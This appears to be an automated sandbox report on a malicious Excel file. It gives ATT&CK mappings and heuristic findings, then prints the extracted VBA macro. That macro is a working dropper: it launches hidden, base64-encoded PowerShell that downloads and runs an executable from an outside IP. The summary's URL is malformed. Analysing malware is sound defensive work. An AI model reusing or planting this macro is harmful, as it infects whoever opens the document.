MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample contains VBA macros that utilize obfuscated string concatenation to construct and execute a PowerShell command. This command is designed to download and execute a second-stage payload from the URL 'http://3.64.2.251.93/vr/r/QA4tY2BE2tfNQS5NE5.exe'. The use of Shell() and the reassembled 'powershell' keyword indicate a critical risk.
Heuristics 3
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATIONVBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5984 bytes |
SHA-256: 2566a0284c2f239675e22fd1df36056acd4898f037a13a2bbb30a27c917ad9d2 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Activate()
On Error Resume Next
Dim bat As String
Dim s As String
s = s + "start "
Dim a As String
s = s + "/MI" + "N C:\Wi" + "ndo"
Dim dfdf As String
s = s + "ws\Sys" + "tem32\" + "Wind" + "owsPo" + "wer"
Dim fwefewf As String
s = s + "She" + "ll\v1.0" + "\pow" + "ersh" + "ell." + "exe"
Dim ewfwef As String
s = s + " -win " + "1 -e" + "nc "
s = s + "JABQAHIAbw"
s = s + "BjAE4AYQBt"
s = s + "AGUAIAA9AC"
s = s + "AAIgBRAHgA"
s = s + "dwBoAGgAdw"
s = s + "B4AHoAdABh"
s = s + "AHQAYwB6AH"
s = s + "IAaQBtAGQA"
s = s + "dAAuAGUAeA"
s = s + "BlACIAOwAo"
s = s + "AE4AZQB3AC"
s = s + "0ATwBiAGoA"
s = s + "ZQBjAHQAIA"
s = s + "BTAHkAcwB0"
s = s + "AGUAbQAuAE"
s = s + "4AZQB0AC4A"
s = s + "VwBlAGIAQw"
s = s + "BsAGkAZQBu"
s = s + "AHQAKQAuAE"
s = s + "QAbwB3AG4A"
s = s + "bABvAGEAZA"
s = s + "BGAGkAbABl"
s = s + "ACgAIgBoAH"
s = s + "QAdABwADoA"
s = s + "LwAvADMALg"
s = s + "A2ADQALgAy"
s = s + "ADUAMQAuAD"
s = s + "EAMwA5AC8A"
s = s + "dgByAC8Acg"
s = s + "AvAFEAQQA0"
s = s + "AHQAeQAyAH"
s = s + "UAVQBrAFQA"
s = s + "QwBEADIAdA"
s = s + "BmAE4AUQBT"
s = s + "AEUANQAuAG"
s = s + "UAeABlACIA"
s = s + "LAAiACQAZQ"
s = s + "BuAHYAOgBB"
s = s + "AFAAUABEAE"
s = s + "EAVABBAFwA"
s = s + "JABQAHIAbw"
s = s + "BjAE4AYQBt"
s = s + "AGUAIgApAD"
s = s + "sAUwB0AGEA"
s = s + "cgB0AC0AUA"
s = s + "ByAG8AYwBl"
s = s + "AHMAcwAgAC"
s = s + "gAIgAkAGUA"
s = s + "bgB2ADoAQQ"
s = s + "BQAFAARABB"
s = s + "AFQAQQBcAC"
s = s + "QAUAByAG8A"
s = s + "YwBOAGEAbQ"
s = s + "BlACIAKQA="
Dim x As Double
ActiveWorkbook.Save
bat = "Qtkkhrqfym.bat"
Open bat For Output As #1
Print #1, s
Close #1
x = Shell(bat, 0)
End Sub
Attribute VB_Name = "Start"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "1. Add"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "2. Fill"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "3. Split"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "4. Transpose"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "5. Sort & filter"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "6. Tables"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_Templat
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.